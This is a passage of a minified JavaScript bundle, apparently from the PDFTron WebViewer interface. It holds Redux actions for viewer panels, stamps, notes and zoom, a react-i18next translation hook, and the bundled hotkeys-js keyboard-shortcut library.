Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return el(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return el(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function el(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function tl(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function nl(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){tl(i,r,o,a,l,"next",e)}function l(e){tl(i,r,o,a,l,"throw",e)}a(void 0)}))}}var rl=function(e){return{type:"SET_PRESET_CROP_DIMENSIONS",payload:{presetCropDimensions:e}}},ol=function(e){return{type:"SET_DATE_TIME_FORMATS",payload:{dateTimeFormats:e}}},il=function(e){return{type:"SET_ENABLE_DESKTOP_ONLY_MODE",payload:{enableDesktopOnlyMode:e}}},al=function(e){return{type:"SET_HIGH_CONTRAST_MODE",payload:{useHighContrastMode:e}}},ll=function(e){return{type:"SET_CAN_UNDO",payload:{canUndo:e}}},sl=function(e){return{type:"SET_CAN_REDO",payload:{canRedo:e}}},ul=function(e){return function(){var t=nl(regeneratorRuntime.mark((function t(n){var r,o,i,a,l,s;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return r=vt.getTool("AnnotationCreateRubberStamp"),o=160,i=58,t.next=5,r.getStandardStampAnnotations();case 5:return a=t.sent,t.next=8,Promise.all(a.map((function(t){var n=e("rubberStamp.".concat(t.Icon)),a={canvasWidth:o,canvasHeight:i,text:n};return r.getPreview(t,a)})));case 8:l=t.sent,s=a.map((function(e,t){return{annotation:e,imgSrc:l[t]}})),n({type:"SET_STANDARD_STAMPS",payload:{standardStamps:s}});case 11:case"end":return t.stop()}}),t)})));return function(e){return t.apply(this,arguments)}}()},cl=function(e){return function(){var t=nl(regeneratorRuntime.mark((function t(n){var r,o,i,a,l;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return r=vt.getTool("AnnotationCreateRubberStamp"),o=160,i=58,t.next=5,r.getCustomStampAnnotations();case 5:return a=t.sent,t.next=8,Promise.all(a.map((function(t){var n=e("rubberStamp.".concat(t.Icon)),a={canvasWidth:o,canvasHeight:i,text:n};return r.getPreview(t,a)})));case 8:l=a.map((function(e){return{annotation:e,imgSrc:e.ImageData}})),n({type:"SET_CUSTOM_STAMPS",payload:{customStamps:l}});case 10:case"end":return t.stop()}}),t)})));return function(e){return t.apply(this,arguments)}}()},fl=function(){return function(e,t){e(ml("toolbarGroup-View"));var n=t(),r=Object.keys(n.viewer.headers).filter((function(e){return e.includes("toolbarGroup-")&&"toolbarGroup-View"!==e}));bi(r,2)(e,t)}},dl=function(){return function(e,t){var n=t(),r=vt.getFormFieldCreationManager().isInFormFieldCreationMode()?"toolbarGroup-Forms":n.viewer.toolbarGroup;e(ml(r||"toolbarGroup-Annotate"));var o=Object.keys(n.viewer.headers).filter((function(e){return e.includes("toolbarGroup-")}));Ei(o,2)(e,t)}},pl=function(e,t){var n;return null===(n=e.viewer.disabledElements[t])||void 0===n?void 0:n.disabled},hl=function(e,t){return Object.values(e.viewer.toolButtonObjects).filter((function(e){return e.group===t})).map((function(e){return e.dataElement})).every((function(t){return pl(e,t)}))},ml=function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return function(n,r){if("toolbarGroup-View"===e)n(Ll(["toolsHeader"])),vt.setToolMode(Qa),n({type:"SET_ACTIVE_TOOL_GROUP",payload:{toolGroup:"",toolbarGroup:e}});else{n(Rl(["toolsHeader"]));var o=r(),i=o.viewer.lastPickedToolGroup[e]||function(e,t){var n=e.viewer.headers[t].children||e.viewer.headers[t],r="";if(n){var o=Object.values(n).find((function(t){var n=t.toolGroup,r=t.dataElement;return!(!n||pl(e,r)||hl(e,n))}));o&&(r=o.toolGroup)}return r}(o,e),a=o.viewer.lastPickedToolForGroup[i]||function(e,t){var n=e.viewer.toolButtonObjects;return Object.keys(n).find((function(e){return n[e].group===t}))}(o,i);t?(n({type:"SET_ACTIVE_TOOL_GROUP",payload:{toolGroup:i,toolbarGroup:e}}),"AnnotationCreateSignature"===a?vt.setToolMode(Qa):vt.setToolMode(a)):(vt.setToolMode(Qa),n({type:"SET_ACTIVE_TOOL_GROUP",payload:{toolGroup:"",toolbarGroup:e}}))}n(Ll(["toolsOverlay","signatureOverlay","toolStylePopup"])),n({type:"SET_TOOLBAR_GROUP",payload:{toolbarGroup:e}}),zt(Ht.TOOLBAR_GROUP_CHANGED,e)}},gl=function(e){return{type:"SET_SELECTED_STAMP_INDEX",payload:{index:e}}},vl=function(e){return{type:"SET_OUTLINE_CONTROL_VISIBILITY",payload:{outlineControlVisibility:e}}},yl=function(e){return{type:"SET_SELECTED_DISPLAYED_SIGNATURE_INDEX",payload:{index:e}}},bl=function(e){return{type:"SET_SAVED_SIGNATURES",payload:{savedSignatures:e}}},wl=function(e){return{type:"SET_DISPLAYED_SIGNATURES_FILTER_FUNCTION",payload:{filterFunction:e}}},El=function(e){return{type:"SET_LEFT_PANEL_WIDTH",payload:{width:e}}},Sl=function(e){return{type:"SET_SEARCH_PANEL_WIDTH",payload:{width:e}}},Cl=function(e){return{type:"SET_NOTES_PANEL_WIDTH",payload:{width:e}}},xl=function(e){return{type:"SET_REDACTION_PANEL_WIDTH",payload:{width:e}}},Ol=function(e){return{type:"SET_WV3D_PROPERTIES_PANEL_WIDTH",payload:{width:e}}},Al=function(e){return{type:"SET_WV3D_PROPERTIES_PANEL_MODEL_DATA",payload:{modelData:e}}},_l=function(e){return{type:"SET_WV3D_PROPERTIES_PANEL_SCHEMA",payload:{schema:e}}},Tl=function(e){return{type:"SET_DOCUMENT_CONTAINER_WIDTH",payload:{width:e}}},kl=function(e){return{type:"SET_DOCUMENT_CONTAINER_HEIGHT",payload:{height:e}}},Pl=function(){return{type:"ENABLE_ALL_ELEMENTS",payload:{}}},Ml=function(e){return function(t,n){var r,o=n(),i=null===(r=o.viewer.disabledElements[e])||void 0===r?void 0:r.disabled,a=o.viewer.openElements.leftPanel,l=Ct(e,o)?a&&o.viewer.activeLeftPanel===e:o.viewer.openElements[e];i||l||(Ct(e,o)?(a||(t({type:"OPEN_ELEMENT",payload:{dataElement:"leftPanel"}}),zt(Ht.VISIBILITY_CHANGED,{element:"leftPanel",isVisible:!0})),t(Fl(e))):(t({type:"OPEN_ELEMENT",payload:{dataElement:e}}),zt(Ht.VISIBILITY_CHANGED,{element:e,isVisible:!0}),"leftPanel"!==e||a||zt(Ht.VISIBILITY_CHANGED,{element:o.viewer.activeLeftPanel,isVisible:!0})))}},Rl=function(e){return function(t){"string"==typeof e?t(Ml(e)):e.forEach((function(e){t(Ml(e))}))}},jl=function(e){return function(t,n){var r,o=n(),i=null===(r=o.viewer.disabledElements[e])||void 0===r?void 0:r.disabled,a=Ct(e,o)?o.viewer.activeLeftPanel!==e:!o.viewer.openElements[e];i||a||(Ct(e,o)&&o.viewer.openElements.leftPanel?(t({type:"CLOSE_ELEMENT",payload:{dataElement:"leftPanel"}}),zt(Ht.VISIBILITY_CHANGED,{element:"leftPanel",isVisible:!1})):(t({type:"CLOSE_ELEMENT",payload:{dataElement:e}}),zt(Ht.VISIBILITY_CHANGED,{element:e,isVisible:!1}),"leftPanel"===e&&o.viewer.openElements.leftPanel&&zt(Ht.VISIBILITY_CHANGED,{element:o.viewer.activeLeftPanel,isVisible:!1})))}},Ll=function(e){return function(t){"string"==typeof e?t(jl(e)):e.forEach((function(e){t(jl(e))}))}},Il=function(e){return function(t,n){var r,o=n();null!==(r=o.viewer.disabledElements[e])&&void 0!==r&&r.disabled||(o.viewer.notesInLeftPanel||("searchPanel"===e?(t(jl("notesPanel")),t(jl("redactionPanel")),t(jl("wv3dPropertiesPanel"))):"notesPanel"===e?(t(jl("searchPanel")),t(jl("redactionPanel")),t(jl("wv3dPropertiesPanel"))):"redactionPanel"===e?(t(jl("searchPanel")),t(jl("notesPanel")),t(jl("wv3dPropertiesPanel"))):"wv3dPropertiesPanel"===e&&(t(jl("searchPanel")),t(jl("notesPanel")),t(jl("redactionPanel")))),o.viewer.openElements[e]?t(jl(e)):t(Ml(e)))}},Nl=function(e){return{type:"ADD_CUSTOM_MODAL",payload:e}},Dl=function(e){return{type:"SET_ACTIVE_HEADER_GROUP",payload:{headerGroup:e}}},Fl=function(e){return function(t,n){var r=n();if(Ct(e,r))r.viewer.activeLeftPanel!==e&&(t({type:"CLOSE_ELEMENT",payload:{dataElement:r.viewer.activeLeftPanel}}),zt(Ht.VISIBILITY_CHANGED,{element:r.viewer.activeLeftPanel,isVisible:!1}),t({type:"SET_ACTIVE_LEFT_PANEL",payload:{dataElement:e}}),zt(Ht.VISIBILITY_CHANGED,{element:e,isVisible:!0}));else{var o=[].concat(Ja(r.viewer.customPanels.map((function(e){return e.panel.dataElement}))),["thumbnailsPanel","outlinesPanel","layersPanel","bookmarksPanel","notesPanel","signaturePanel","attachmentPanel"]).join(", ");console.warn("".concat(e," is not recognized by the left panel. Please use one of the following options: ").concat(o))}}},Bl=function(e){return{type:"SET_NOTES_PANEL_SORT_STRATEGY",payload:{sortStrategy:e}}},Hl=function(e){return console.warn("setSortNotesBy is deprecated, please use setNotesPanelSortStrategy instead"),Bl(e)},Vl=function(e){return{type:"SET_NOTE_DATE_FORMAT",payload:{noteDateFormat:e}}},zl=function(e){return{type:"SET_PRINTED_NOTE_DATE_FORMAT",payload:{noteDateFormat:e}}},Ul=function(e){return{type:"SET_CUSTOM_PANEL",payload:{newPanel:e}}},Gl=function(e){return function(t){e.length===vt.getTotalPages()?t({type:"SET_PAGE_LABELS",payload:{pageLabels:e.map(String)}}):console.warn("Number of page labels do not match with the total pages.")}},Wl=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return zt(Ht.SELECTED_THUMBNAIL_CHANGED,e),{type:"SET_SELECTED_THUMBNAIL_PAGE_INDEXES",payload:{selectedThumbnailPageIndexes:e}}},ql=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;return{type:"SET_SHIFT_KEY_THUMBNAIL_PIVOT_INDEX",payload:{shiftKeyThumbnailPivotIndex:e}}},Zl=function(e){return{type:"SET_SWIPE_ORIENTATION",payload:{swipeOrientation:e}}},Yl=function(e){return function(t){t({type:"SET_WARNING_MESSAGE",payload:e}),t(Ml("warningModal"))}},$l=function(e){return function(t){t({type:"SET_ERROR_MESSAGE",payload:{message:e}}),t(Ml("errorModal"))}},Kl=function(e){return{type:"SET_CUSTOM_NOTE_FILTER",payload:{customNoteFilter:e}}},Xl=function(e){return function(t){var n=qt(),r=Zt(),o=e.filter((function(e){return e>=n&&e<=r}));if(o.length!==e.length){var i=e.filter((function(e){return!o.includes(e)}));console.warn("\n ".concat(i.join(", ")," are not allowed zoom levels in the UI.\n Valid zoom levels should be in the range of ").concat(n,"-").concat(r,".\n You can use setMinZoomLevel or setMaxZoomLevel APIs to change the range.\n See https://www.pdftron.com/documentation/web/guides/ui/apis for more information.\n "))}t({type:"SET_ZOOM_LIST",payload:{zoomList:o}})}},Ql=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return{type:"USE_EMBEDDED_PRINT",payload:{useEmbeddedPrint:e}}},Jl=function(e){return{type:"SET_MAX_SIGNATURES_COUNT",payload:{maxSignaturesCount:e}}},es=function(e){return{type:"SET_USER_DATA",payload:{userData:e}}},ts=function(e){return{type:"SET_CUSTOM_MEASUREMENT_OVERLAY",payload:{customMeasurementOverlay:e}}},ns=function(e,t){return{type:"SET_SELECTED_TAB",payload:{id:e,dataElement:t}}},rs=function(e,t){return{type:"SET_CUSTOM_ELEMENT_OVERRIDES",payload:{dataElement:e,overrides:t}}},os=function(e){return{type:"SET_PAGE_REPLACEMENT_FILE_LIST",payload:{list:e}}},is=function(e){return zt(Ht.THEME_CHANGED,e),{type:"SET_ACTIVE_THEME",payload:{theme:e}}},as=function(e){return{type:"SET_SEARCH_RESULTS",payload:e}},ls=function(e){return{type:"SET_CLEAR_SEARCH_ON_PANEL_CLOSE",payload:e}},ss=function(e){return{type:"SET_ANNOTATION_CONTENT_OVERLAY_HANDLER",payload:{annotationContentOverlayHandler:e}}},us=function(e){return{type:"SET_ANNOTATION_READ_STATE",payload:{isRead:e.isRead,annotationId:e.annotationId}}},cs=function(e){return{type:"ADD_TRUSTED_CERTIFICATES",payload:{certificates:e}}},fs=function(e){return{type:"ADD_TRUST_LIST",payload:{trustList:e}}},ds=function(e){return{type:"SET_VALIDATION_MODAL_WIDGET_NAME",payload:{validationModalWidgetName:e}}},ps=function(e){return{type:"SET_SUBMIT_COMMENT_MODE",payload:{enableNoteSubmissionWithEnter:e}}},hs=function(e){return{type:"SET_NOTES_PANEL_TEXT_COLLAPSING",payload:{enableNotesPanelTextCollapsing:e}}},ms=function(e){return{type:"SET_NOTES_PANEL_REPLIES_COLLAPSING",payload:{enableNotesPanelRepliesCollapsing:e}}},gs=function(e){return{type:"SET_COMMENT_THREAD_EXPANSION",payload:{enableCommentThreadExpansion:e}}},vs=function(){return{type:"SET_FADE_PAGE_NAVIGATION_COMPONENT",payload:{fadePageNavigationComponent:!0}}},ys=function(){return{type:"SET_FADE_PAGE_NAVIGATION_COMPONENT",payload:{fadePageNavigationComponent:!1}}},bs=function(){return{type:"PAGE_DELETION_CONFIRMATION_MODAL_POPUP",payload:{pageDeletionConfirmationModalEnabled:!0}}},ws=function(){return{type:"PAGE_DELETION_CONFIRMATION_MODAL_POPUP",payload:{pageDeletionConfirmationModalEnabled:!1}}},Es=function(e){return{type:"SET_WATERMARK_MODAL_OPTIONS",payload:{watermarkModalOptions:e}}},Ss=function(e,t){return{type:"REPLACE_REDACTION_SEARCH_PATTERN",payload:{searchPattern:e,regex:t}}},Cs=function(e){return{type:"SET_THUMBNAIL_SELECTION_MODE",payload:{thumbnailSelectionMode:e}}},xs=function(e){return{type:"ADD_REDACTION_SEARCH_PATTERN",payload:{searchPattern:e}}},Os=function(e){return{type:"REMOVE_REDACTION_SEARCH_PATTERN",payload:{searchPatternType:e}}},As=function(e){return{type:"SET_ZOOM_STEP_FACTORS",payload:{zoomStepFactors:e}}};function _s(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Ts(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_s(Object(n),!0).forEach((function(t){ks(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_s(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function ks(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Ps=Ts(Ts({},i),o),Ms=n(322),Rs=n(2),js=n.n(Rs),Ls=n(1),Is=n.n(Ls);n(589);function Ns(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Ds(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Ds(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Ds(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Fs=function(){var e=re(),t=Ns(Object(l.useState)(!1),2),n=t[0],r=t[1],o=le(fi.isAccessibleMode),i=le((function(e){return fi.isElementOpen(e,"notesPanel")})),a=le((function(e){return fi.isElementDisabled(e,"notesPanel")})),u=le((function(e){return fi.isElementOpen(e,"searchPanel")})),c=le((function(e){return fi.isElementDisabled(e,"searchPanel")}));if(!o)return null;var f=js()("Accessibility",n?"visible":"hidden");return s.a.createElement("div",{className:f,"data-element":"accessibility",onFocus:function(){return r(!0)},onBlur:function(){return r(!1)}},s.a.createElement("div",null,"Skip to: "),s.a.createElement("button",{onClick:function(){document.getElementById("pageText1").focus()}},"Document"),c?null:s.a.createElement("button",{onClick:function(){if(u){var t=document.getElementById("SearchPanel__input");t&&t.focus()}else e(Ps.openElement("searchPanel"))}},"Search"),a?null:s.a.createElement("button",{onClick:function(){if(i){var t=document.getElementById("NotesPanel__input");t&&t.focus()}else e(Ps.openElement("notesPanel"))}},"Notes"))},Bs=n(86),Hs=n.n(Bs);function Vs(){if(console&&console.warn){for(var e,t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];"string"==typeof n[0]&&(n[0]="react-i18next:: ".concat(n[0])),(e=console).warn.apply(e,n)}}var zs={};function Us(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];"string"==typeof t[0]&&zs[t[0]]||("string"==typeof t[0]&&(zs[t[0]]=new Date),Vs.apply(void 0,t))}function Gs(e,t,n){e.loadNamespaces(t,(function(){if(e.isInitialized)n();else{e.on("initialized",(function t(){setTimeout((function(){e.off("initialized",t)}),0),n()}))}}))}function Ws(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=t.languages[0],o=!!t.options&&t.options.fallbackLng,i=t.languages[t.languages.length-1];if("cimode"===r.toLowerCase())return!0;var a=function(e,n){var r=t.services.backendConnector.state["".concat(e,"|").concat(n)];return-1===r||2===r};return!(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&t.services.backendConnector.backend&&t.isLanguageChangingTo&&!a(t.isLanguageChangingTo,e))&&(!!t.hasResourceBundle(r,e)||(!(t.services.backendConnector.backend&&(!t.options.resources||t.options.partialBundledLanguages))||!(!a(r,e)||o&&!a(i,e))))}function qs(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(!t.languages||!t.languages.length)return Us("i18n.languages were undefined or empty",t.languages),!0;var r=void 0!==t.options.ignoreJSONStructure;return r?t.hasLoadedNamespace(e,{precheck:function(t,r){if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&t.services.backendConnector.backend&&t.isLanguageChangingTo&&!r(t.isLanguageChangingTo,e))return!1}}):Ws(e,t,n)}function Zs(e){return e.displayName||e.name||("string"==typeof e&&e.length>0?e:"Unknown")}function Ys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function $s(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ys(Object(n),!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Ks(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.i18n,r=Object(l.useContext)(ge)||{},o=r.i18n,i=r.defaultNS,a=n||o||be();if(a&&!a.reportNamespaces&&(a.reportNamespaces=new ye),!a){Us("You will need to pass in an i18next instance by using initReactI18next");var s=function(e){return Array.isArray(e)?e[e.length-1]:e},u=[s,{},!1];return u.t=s,u.i18n={},u.ready=!1,u}a.options.react&&void 0!==a.options.react.wait&&Us("It seems you are still using the old wait option, you may migrate to the new useSuspense behaviour.");var c=$s($s($s({},ve()),a.options.react),t),f=c.useSuspense,d=c.keyPrefix,p=e||i||a.options&&a.options.defaultNS;p="string"==typeof p?[p]:p||["translation"],a.reportNamespaces.addUsedNamespaces&&a.reportNamespaces.addUsedNamespaces(p);var h=(a.isInitialized||a.initializedStoreOnce)&&p.every((function(e){return qs(e,a,c)}));function m(){return a.getFixedT(null,"fallback"===c.nsMode?p:p[0],d)}var g=Object(l.useState)(m),v=Hs()(g,2),y=v[0],b=v[1],w=Object(l.useRef)(!0);Object(l.useEffect)((function(){var e=c.bindI18n,t=c.bindI18nStore;function n(){w.current&&b(m)}return w.current=!0,h||f||Gs(a,p,(function(){w.current&&b(m)})),e&&a&&a.on(e,n),t&&a&&a.store.on(t,n),function(){w.current=!1,e&&a&&e.split(" ").forEach((function(e){return a.off(e,n)})),t&&a&&t.split(" ").forEach((function(e){return a.store.off(e,n)}))}}),[a,p.join()]);var E=Object(l.useRef)(!0);Object(l.useEffect)((function(){w.current&&!E.current&&b(m),E.current=!1}),[a]);var S=[y,a,h];if(S.t=y,S.i18n=a,S.ready=h,h)return S;if(!h&&!f)return S;throw new Promise((function(e){Gs(a,p,(function(){e()}))}))}
/**!
* hotkeys-js v3.9.3
* A simple micro-library for defining and dispatching keyboard shortcuts. It has no dependencies.
*
* Copyright (c) 2022 kenny wong <wowohoo@qq.com>
* http://jaywcjlove.github.io/hotkeys
* Licensed under the MIT license
*/var Xs="undefined"!=typeof navigator&&navigator.userAgent.toLowerCase().indexOf("firefox")>0;function Qs(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r):e.attachEvent&&e.attachEvent("on".concat(t),(function(){n(window.event)}))}function Js(e,t){for(var n=t.slice(0,t.length-1),r=0;r<n.length;r++)n[r]=e[n[r].toLowerCase()];return n}function eu(e){"string"!=typeof e&&(e="");for(var t=(e=e.replace(/\s/g,"")).split(","),n=t.lastIndexOf("");n>=0;)t[n-1]+=",",t.splice(n,1),n=t.lastIndexOf("");return t}for(var tu={backspace:8,tab:9,clear:12,enter:13,return:13,esc:27,escape:27,space:32,left:37,up:38,right:39,down:40,del:46,delete:46,ins:45,insert:45,home:36,end:35,pageup:33,pagedown:34,capslock:20,num_0:96,num_1:97,num_2:98,num_3:99,num_4:100,num_5:101,num_6:102,num_7:103,num_8:104,num_9:105,num_multiply:106,num_add:107,num_enter:108,num_subtract:109,num_decimal:110,num_divide:111,"⇪":20,",":188,".":190,"/":191,"`":192,"-":Xs?173:189,"=":Xs?61:187,";":Xs?59:186,"'":222,"[":219,"]":221,"\\":220},nu={"⇧":16,shift:16,"⌥":18,alt:18,option:18,"⌃":17,ctrl:17,control:17,"⌘":91,cmd:91,command:91},ru={16:"shiftKey",18:"altKey",17:"ctrlKey",91:"metaKey",shiftKey:16,ctrlKey:17,altKey:18,metaKey:91},ou={16:!1,18:!1,17:!1,91:!1},iu={},au=1;au<20;au++)tu["f".concat(au)]=111+au;var lu=[],su=!1,uu="all",cu=[],fu=function(e){return tu[e.toLowerCase()]||nu[e.toLowerCase()]||e.toUpperCase().charCodeAt(0)};function du(e){uu=e||"all"}function pu(){return uu||"all"}var hu=function(e){var t=e.key,n=e.scope,r=e.method,o=e.splitKey,i=void 0===o?"+":o;eu(t).forEach((function(e){var t=e.split(i),o=t.length,a=t[o-1],l="*"===a?"*":fu(a);if(iu[l]){n||(n=pu());var s=o>1?Js(nu,t):[];iu[l]=iu[l].filter((function(e){return!((!r||e.method===r)&&e.scope===n&&function(e,t){for(var n=e.length>=t.length?e:t,r=e.length>=t.length?t:e,o=!0,i=0;i<n.length;i++)-1===r.indexOf(n[i])&&(o=!1);return o}(e.mods,s))}))}}))};function mu(e,t,n,r){var o;if(t.element===r&&(t.scope===n||"all"===t.scope)){for(var i in o=t.mods.length>0,ou)Object.prototype.hasOwnProperty.call(ou,i)&&(!ou[i]&&t.mods.indexOf(+i)>-1||ou[i]&&-1===t.mods.indexOf(+i))&&(o=!1);(0!==t.mods.length||ou[16]||ou[18]||ou[17]||ou[91])&&!o&&"*"!==t.shortcut||!1===t.method(e,t)&&(e.preventDefault?e.preventDefault():e.returnValue=!1,e.stopPropagation&&e.stopPropagation(),e.cancelBubble&&(e.cancelBubble=!0))}}function gu(e,t){var n=iu["*"],r=e.keyCode||e.which||e.charCode;if(vu.filter.call(this,e)){if(93!==r&&224!==r||(r=91),-1===lu.indexOf(r)&&229!==r&&lu.push(r),["ctrlKey","altKey","shiftKey","metaKey"].forEach((function(t){var n=ru[t];e[t]&&-1===lu.indexOf(n)?lu.push(n):!e[t]&&lu.indexOf(n)>-1?lu.splice(lu.indexOf(n),1):"metaKey"===t&&e[t]&&3===lu.length&&(e.ctrlKey||e.shiftKey||e.altKey||(lu=lu.slice(lu.indexOf(n))))})),r in ou){for(var o in ou[r]=!0,nu)nu[o]===r&&(vu[o]=!0);if(!n)return}for(var i in ou)Object.prototype.hasOwnProperty.call(ou,i)&&(ou[i]=e[ru[i]]);e.getModifierState&&(!e.altKey||e.ctrlKey)&&e.getModifierState("AltGraph")&&(-1===lu.indexOf(17)&&lu.push(17),-1===lu.indexOf(18)&&lu.push(18),ou[17]=!0,ou[18]=!0);var a=pu();if(n)for(var l=0;l<n.length;l++)n[l].scope===a&&("keydown"===e.type&&n[l].keydown||"keyup"===e.type&&n[l].keyup)&&mu(e,n[l],a,t);if(r in iu)for(var s=0;s<iu[r].length;s++)if(("keydown"===e.type&&iu[r][s].keydown||"keyup"===e.type&&iu[r][s].keyup)&&iu[r][s].key){for(var u=iu[r][s],c=u.splitKey,f=u.key.split(c),d=[],p=0;p<f.length;p++)d.push(fu(f[p]));d.sort().join("")===lu.sort().join("")&&mu(e,u,a,t)}}}function vu(e,t,n){lu=[];var r=eu(e),o=[],i="all",a=document,l=0,s=!1,u=!0,c="+",f=!1;for(void 0===n&&"function"==typeof t&&(n=t),"[object Object]"===Object.prototype.toString.call(t)&&(t.scope&&(i=t.scope),t.element&&(a=t.element),t.keyup&&(s=t.keyup),void 0!==t.keydown&&(u=t.keydown),void 0!==t.capture&&(f=t.capture),"string"==typeof t.splitKey&&(c=t.splitKey)),"string"==typeof t&&(i=t);l<r.length;l++)o=[],(e=r[l].split(c)).length>1&&(o=Js(nu,e)),(e="*"===(e=e[e.length-1])?"*":fu(e))in iu||(iu[e]=[]),iu[e].push({keyup:s,keydown:u,scope:i,mods:o,shortcut:r[l],method:n,key:r[l],splitKey:c,element:a});void 0!==a&&!function(e){return cu.indexOf(e)>-1}(a)&&window&&(cu.push(a),Qs(a,"keydown",(function(e){gu(e,a)}),f),su||(su=!0,Qs(window,"focus",(function(){lu=[]}),f)),Qs(a,"keyup",(function(e){gu(e,a),function(e){var t=e.keyCode||e.which||e.charCode,n=lu.indexOf(t);if(n>=0&&lu.splice(n,1),e.key&&"meta"===e.key.toLowerCase()&&lu.splice(0,lu.length),93!==t&&224!==t||(t=91),t in ou)for(var r in ou[t]=!1,nu)nu[r]===t&&(vu[r]=!1)}(e)}),f))}var yu={setScope:du,getScope:pu,deleteScope:function(e,t){var n,r;for(var o in e||(e=pu()),iu)if(Object.prototype.hasOwnProperty.call(iu,o))for(n=iu[o],r=0;r<n.length;)n[r].scope===e?n.splice(r,1):r++;pu()===e&&du(t||"all")},getPressedKeyCodes:function(){return lu.slice(0)},isPressed:function(e){return"string"==typeof e&&(e=fu(e)),-1!==lu.indexOf(e)},filter:function(e){var t=e.target||e.srcElement,n=t.tagName,r=!0;return!t.isContentEditable&&("INPUT"!==n&&"TEXTAREA"!==n&&"SELECT"!==n||t.readOnly)||(r=!1),r},trigger:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"all";Object.keys(iu).forEach((function(n){var r=iu[n].find((function(n){return n.scope===t&&n.shortcut===e}));r&&r.method&&r.method()}))},unbind:function(e){if(e){if(Array.isArray(e))e.forEach((function(e){e.key&&hu(e)}));else if("object"==typeof e)e.key&&hu(e);else if("string"==typeof e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];var o=n[0],i=n[1];"function"==typeof o&&(i=o,o=""),hu({key:e,scope:o,method:i,splitKey:"+"})}}else Object.keys(iu).forEach((function(e){return delete iu[e]}))},keyMap:tu,modifier:nu,modifierMap:ru};for(var bu in yu)Object.prototype.hasOwnProperty.call(yu,bu)&&(vu[bu]=yu[bu]);if("undefined"!=typeof window){var wu=window.hotkeys;vu.noConflict=function(e){return e&&window.hotkeys===vu&&(window.hotkeys=wu),vu},window.hotkeys=vu}var Eu=function(){var e;null===(e=document.getElementById("file-picker"))||void 0===e||e.click()},Su=function(){var e;if(document.querySelector("#copy-textarea").value="",null===(e=window.getSelection())||void 0===e||!e.toString())if(window.clipboardData)window.clipboardData.setData("Text",vt.getSelectedText());else{var t=document.getElementById("copy-textarea");t.value=vt.getSelectedText(),t.select(),t.setSelectionRange(0,99999);try{document.execCommand("copy"),t.blur()}catch(e){console.error("Copy is not supported by browser. ".concat(e))}}},Cu=function(e){if("CropPage"===e)return!1;var t=vt.getTool(e);return!(null==t||!t.defaults)&&Object.keys(t.defaults).length>0},xu=function(e,t){var n,r=e.dispatch,o=e.getState,i=(null===(n=fi.getToolButtonObject(o(),t))||void 